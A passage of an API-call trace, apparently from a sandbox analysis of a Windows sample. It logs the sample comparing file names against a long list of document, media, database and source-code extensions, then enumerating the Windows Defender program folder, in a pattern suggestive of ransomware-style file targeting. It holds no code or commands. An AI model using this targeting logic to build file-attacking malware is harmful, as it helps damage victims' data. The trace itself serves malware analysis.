	[0179.301] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0179.301] lstrlenW (lpString=".dqy") returned 4
	[0179.301] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0179.301] lstrlenW (lpString=".dsn") returned 4
	[0179.301] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0179.301] lstrlenW (lpString=".dt") returned 3
	[0179.301] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0179.301] lstrlenW (lpString=".dtd") returned 4
	[0179.301] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0179.301] lstrlenW (lpString=".dwg") returned 4
	[0179.301] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0179.301] lstrlenW (lpString=".dwt") returned 4
	[0179.301] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0179.301] lstrlenW (lpString=".dx") returned 3
	[0179.301] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0179.301] lstrlenW (lpString=".dxf") returned 4
	[0179.301] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0179.301] lstrlenW (lpString=".edml") returned 5
	[0179.301] lstrcmpiW (lpString1=".edml", lpString2="p.exe") returned -1
	[0179.301] lstrlenW (lpString=".efd") returned 4
	[0179.302] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0179.302] lstrlenW (lpString=".elf") returned 4
	[0179.302] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0179.302] lstrlenW (lpString=".emf") returned 4
	[0179.302] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0179.302] lstrlenW (lpString=".emz") returned 4
	[0179.302] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0179.302] lstrlenW (lpString=".epf") returned 4
	[0179.302] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0179.302] lstrlenW (lpString=".eps") returned 4
	[0179.302] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0179.302] lstrlenW (lpString=".epsf") returned 5
	[0179.302] lstrcmpiW (lpString1=".epsf", lpString2="p.exe") returned -1
	[0179.302] lstrlenW (lpString=".epsp") returned 5
	[0179.302] lstrcmpiW (lpString1=".epsp", lpString2="p.exe") returned -1
	[0179.302] lstrlenW (lpString=".erf") returned 4
	[0179.302] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0179.302] lstrlenW (lpString=".exr") returned 4
	[0179.302] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0179.302] lstrlenW (lpString=".f4v") returned 4
	[0179.302] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0179.302] lstrlenW (lpString=".fido") returned 5
	[0179.302] lstrcmpiW (lpString1=".fido", lpString2="p.exe") returned -1
	[0179.302] lstrlenW (lpString=".flm") returned 4
	[0179.302] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0179.302] lstrlenW (lpString=".flv") returned 4
	[0179.302] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0179.302] lstrlenW (lpString=".frm") returned 4
	[0179.303] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".fxg") returned 4
	[0179.303] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".geo") returned 4
	[0179.303] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".gif") returned 4
	[0179.303] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".grs") returned 4
	[0179.303] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".gz") returned 3
	[0179.303] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0179.303] lstrlenW (lpString=".h") returned 2
	[0179.303] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0179.303] lstrlenW (lpString=".hdr") returned 4
	[0179.303] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".hpp") returned 4
	[0179.303] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".hta") returned 4
	[0179.303] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".htc") returned 4
	[0179.303] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".htm") returned 4
	[0179.303] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0179.303] lstrlenW (lpString=".html") returned 5
	[0179.304] lstrcmpiW (lpString1=".html", lpString2="p.exe") returned -1
	[0179.304] lstrlenW (lpString=".icb") returned 4
	[0179.304] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".ics") returned 4
	[0179.304] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".iff") returned 4
	[0179.304] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".inc") returned 4
	[0179.304] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".indd") returned 5
	[0179.304] lstrcmpiW (lpString1=".indd", lpString2="p.exe") returned -1
	[0179.304] lstrlenW (lpString=".ini") returned 4
	[0179.304] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".iqy") returned 4
	[0179.304] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".j2c") returned 4
	[0179.304] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".j2k") returned 4
	[0179.304] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".java") returned 5
	[0179.304] lstrcmpiW (lpString1=".java", lpString2="p.exe") returned -1
	[0179.304] lstrlenW (lpString=".jp2") returned 4
	[0179.304] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".jpc") returned 4
	[0179.304] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".jpe") returned 4
	[0179.304] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0179.304] lstrlenW (lpString=".jpeg") returned 5
	[0179.304] lstrcmpiW (lpString1=".jpeg", lpString2="p.exe") returned -1
	[0179.304] lstrlenW (lpString=".jpf") returned 4
	[0179.304] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".jpg") returned 4
	[0179.305] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".jpx") returned 4
	[0179.305] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".js") returned 3
	[0179.305] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0179.305] lstrlenW (lpString=".jsf") returned 4
	[0179.305] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".json") returned 5
	[0179.305] lstrcmpiW (lpString1=".json", lpString2="p.exe") returned -1
	[0179.305] lstrlenW (lpString=".jsp") returned 4
	[0179.305] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".kdc") returned 4
	[0179.305] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".kmz") returned 4
	[0179.305] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".kwm") returned 4
	[0179.305] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".lasso") returned 6
	[0179.305] lstrcmpiW (lpString1=".lasso", lpString2="tp.exe") returned -1
	[0179.305] lstrlenW (lpString=".lbi") returned 4
	[0179.305] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".lgf") returned 4
	[0179.305] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0179.305] lstrlenW (lpString=".lgp") returned 4
	[0179.305] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".log") returned 4
	[0179.306] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".m1v") returned 4
	[0179.306] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".m4a") returned 4
	[0179.306] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".m4v") returned 4
	[0179.306] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".max") returned 4
	[0179.306] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".md") returned 3
	[0179.306] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0179.306] lstrlenW (lpString=".mda") returned 4
	[0179.306] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".mdb") returned 4
	[0179.306] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".mde") returned 4
	[0179.306] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".mdf") returned 4
	[0179.306] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".mdw") returned 4
	[0179.306] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".mef") returned 4
	[0179.306] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".mft") returned 4
	[0179.306] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".mfw") returned 4
	[0179.306] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0179.306] lstrlenW (lpString=".mht") returned 4
	[0179.307] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mhtml") returned 6
	[0179.307] lstrcmpiW (lpString1=".mhtml", lpString2="tp.exe") returned -1
	[0179.307] lstrlenW (lpString=".mka") returned 4
	[0179.307] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mkidx") returned 6
	[0179.307] lstrcmpiW (lpString1=".mkidx", lpString2="tp.exe") returned -1
	[0179.307] lstrlenW (lpString=".mkv") returned 4
	[0179.307] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mos") returned 4
	[0179.307] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mov") returned 4
	[0179.307] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mp3") returned 4
	[0179.307] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mp4") returned 4
	[0179.307] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mpeg") returned 5
	[0179.307] lstrcmpiW (lpString1=".mpeg", lpString2="p.exe") returned -1
	[0179.307] lstrlenW (lpString=".mpg") returned 4
	[0179.307] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mpv") returned 4
	[0179.307] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mrw") returned 4
	[0179.307] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".msg") returned 4
	[0179.307] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".mxl") returned 4
	[0179.307] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0179.307] lstrlenW (lpString=".myd") returned 4
	[0179.307] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".myi") returned 4
	[0179.308] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".nef") returned 4
	[0179.308] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".nrw") returned 4
	[0179.308] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".obj") returned 4
	[0179.308] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".odb") returned 4
	[0179.308] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".odc") returned 4
	[0179.308] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".odm") returned 4
	[0179.308] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".odp") returned 4
	[0179.308] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".ods") returned 4
	[0179.308] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".oft") returned 4
	[0179.308] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0179.308] lstrlenW (lpString=".one") returned 4
	[0179.309] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".onepkg") returned 7
	[0179.309] lstrcmpiW (lpString1=".onepkg", lpString2="ftp.exe") returned -1
	[0179.309] lstrlenW (lpString=".onetoc2") returned 8
	[0179.309] lstrcmpiW (lpString1=".onetoc2", lpString2="dftp.exe") returned -1
	[0179.309] lstrlenW (lpString=".opt") returned 4
	[0179.309] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".oqy") returned 4
	[0179.309] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".orf") returned 4
	[0179.309] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".p12") returned 4
	[0179.309] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".p7b") returned 4
	[0179.309] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".p7c") returned 4
	[0179.309] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".pam") returned 4
	[0179.309] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".pbm") returned 4
	[0179.309] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".pct") returned 4
	[0179.309] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".pcx") returned 4
	[0179.309] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0179.309] lstrlenW (lpString=".pdd") returned 4
	[0179.310] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".pdf") returned 4
	[0179.310] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".pdp") returned 4
	[0179.310] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".pef") returned 4
	[0179.310] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".pem") returned 4
	[0179.310] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".pff") returned 4
	[0179.310] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".pfm") returned 4
	[0179.310] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".pfx") returned 4
	[0179.310] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".pgm") returned 4
	[0179.310] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".php") returned 4
	[0179.310] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0179.310] lstrlenW (lpString=".php3") returned 5
	[0179.310] lstrcmpiW (lpString1=".php3", lpString2="p.exe") returned -1
	[0179.310] lstrlenW (lpString=".php4") returned 5
	[0179.310] lstrcmpiW (lpString1=".php4", lpString2="p.exe") returned -1
	[0179.310] lstrlenW (lpString=".php5") returned 5
	[0179.310] lstrcmpiW (lpString1=".php5", lpString2="p.exe") returned -1
	[0179.310] lstrlenW (lpString=".phtml") returned 6
	[0179.310] lstrcmpiW (lpString1=".phtml", lpString2="tp.exe") returned -1
	[0179.310] lstrlenW (lpString=".pict") returned 5
	[0179.310] lstrcmpiW (lpString1=".pict", lpString2="p.exe") returned -1
	[0179.311] lstrlenW (lpString=".pl") returned 3
	[0179.311] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0179.311] lstrlenW (lpString=".pls") returned 4
	[0179.311] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0179.311] lstrlenW (lpString=".pm") returned 3
	[0179.311] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0179.311] lstrlenW (lpString=".png") returned 4
	[0179.311] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0179.311] lstrlenW (lpString=".pnm") returned 4
	[0179.311] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0179.311] lstrlenW (lpString=".pot") returned 4
	[0179.311] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0179.311] lstrlenW (lpString=".potm") returned 5
	[0179.311] lstrcmpiW (lpString1=".potm", lpString2="p.exe") returned -1
	[0179.311] lstrlenW (lpString=".potx") returned 5
	[0179.311] lstrcmpiW (lpString1=".potx", lpString2="p.exe") returned -1
	[0179.311] lstrlenW (lpString=".ppa") returned 4
	[0179.311] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0179.311] lstrlenW (lpString=".ppam") returned 5
	[0179.311] lstrcmpiW (lpString1=".ppam", lpString2="p.exe") returned -1
	[0179.311] lstrlenW (lpString=".ppm") returned 4
	[0179.311] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0179.311] lstrlenW (lpString=".pps") returned 4
	[0179.311] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0179.311] lstrlenW (lpString=".ppsm") returned 5
	[0179.311] lstrcmpiW (lpString1=".ppsm", lpString2="p.exe") returned -1
	[0179.311] lstrlenW (lpString=".ppt") returned 4
	[0179.311] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0179.311] lstrlenW (lpString=".pptm") returned 5
	[0179.311] lstrcmpiW (lpString1=".pptm", lpString2="p.exe") returned -1
	[0179.311] lstrlenW (lpString=".pptx") returned 5
	[0179.312] lstrcmpiW (lpString1=".pptx", lpString2="p.exe") returned -1
	[0179.312] lstrlenW (lpString=".prn") returned 4
	[0179.312] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".ps") returned 3
	[0179.312] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0179.312] lstrlenW (lpString=".psb") returned 4
	[0179.312] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".psd") returned 4
	[0179.312] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".pst") returned 4
	[0179.312] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".ptx") returned 4
	[0179.312] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".pub") returned 4
	[0179.312] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".pwm") returned 4
	[0179.312] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".pxr") returned 4
	[0179.312] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".py") returned 3
	[0179.312] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0179.312] lstrlenW (lpString=".qt") returned 3
	[0179.312] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0179.312] lstrlenW (lpString=".r3d") returned 4
	[0179.312] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".raf") returned 4
	[0179.312] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0179.312] lstrlenW (lpString=".rar") returned 4
	[0179.312] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0179.313] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AmMonitoringInstall.mof", cAlternateFileName="")) returned 1
	[0179.313] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMMonitoringProvider.dll", cAlternateFileName="")) returned 1
	[0179.313] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x520c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AmStatusInstall.mof", cAlternateFileName="")) returned 1
	[0179.314] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientWMIInstall.mof", cAlternateFileName="")) returned 1
	[0179.314] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConfigSecurityPolicy.exe", cAlternateFileName="")) returned 1
	[0179.314] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataLayer.dll", cAlternateFileName="")) returned 1
	[0179.314] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x171cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DbgHelp.dll", cAlternateFileName="")) returned 1
	[0179.314] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefenderCSP.dll", cAlternateFileName="")) returned 1
	[0179.314] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Defendericon.png", cAlternateFileName="")) returned 1
	[0179.314] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0179.315] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0179.315] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US") returned 39
	[0179.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0179.317] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
